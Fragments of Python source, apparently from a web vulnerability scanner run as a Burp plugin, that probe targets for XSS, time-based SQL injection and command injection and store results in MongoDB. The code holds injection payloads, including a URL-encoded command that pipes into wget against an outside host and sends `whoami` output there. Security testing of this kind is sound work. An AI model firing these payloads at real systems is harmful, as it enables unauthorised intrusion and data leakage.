def __init__(self, payload_list):
'''
: http请求包处理
'''
self.config = config_function.config_function()
self.filter = filter_similarity.filter_similarity()
self.payload_list = payload_list
def __init__(self):
'''
: mongodb 操作
'''
self.config_main = config_function.config_function()
self.client = MongoClient(
self.config_main.callback_mongo_config()['ip'],
self.config_main.callback_mongo_config()['port'])
self.db_target = self.client.testing_wave
if self.config_main.callback_mongo_config()['name'] != '':
self.db_target.authenticate(
self.config_main.callback_mongo_config()['name'],
self.config_main.callback_mongo_config()['password'])
def burp_test_run(self):
'''
: burp插件模式
:return:
'''
try:
config_ = config_function.config_function()
waf = waf_test.waf_test()
if waf.run(config_.callback_target()) != 0:
cmd_in = cmd_inj.cmd_inj()
cmd_in.run(config_.callback_target())
sql_inj = sqlinj_testing.sqlinj_testing()
sql_inj.run(config_.callback_target())
xss = xss_testing.xss_testing()
xss.reflected_run(config_.callback_target())
except Exception as e:
print(e)
finally:
filter = filter_similarity.filter_similarity()
filter.run_filter(config_.callback_target())
print('\n-------------\nfinished')
def __init__(self):
'''
: 去重
'''
self.config = config_function.config_function()
self.mongo_con = mongo_con.mongo_con()
def __init__(self):
'''xss测试'''
self.config = config_function.config_function()
self.payload = ['\'"GuImAizI<GuImAizI>']
self.param_process = param_process.param_process(self.payload)
self.http_testing = http_testing.http_testing()
def __init__(self):
'''http/s重放发包'''
self.config_param = config_function.config_function()
def __init__(self):
'''命令注入测试'''
self.config= config_function.config_function()
self.param_process= param_process.param_process([
'XSSS1%20%7C%20wget%20http%3A%2F%2Ftest.guimaizi.com%2F1.php%3F%60whoami%60%20%7C%7C%20aaa'])
self.http_testing= http_testing.http_testing()
def __init__(self):
'''注入测试'''
self.config = config_function.config_function()
self.payload = ["'or sLEEp(5)|'a", " aNd sLEEp(5) "]
self.param_process = param_process.param_process(self.payload)
self.http_testing = http_testing.http_testing()
def __init__(self):
'''waf测试'''
self.config = config_function.config_function()
self.http_testing = http_testing.http_testing()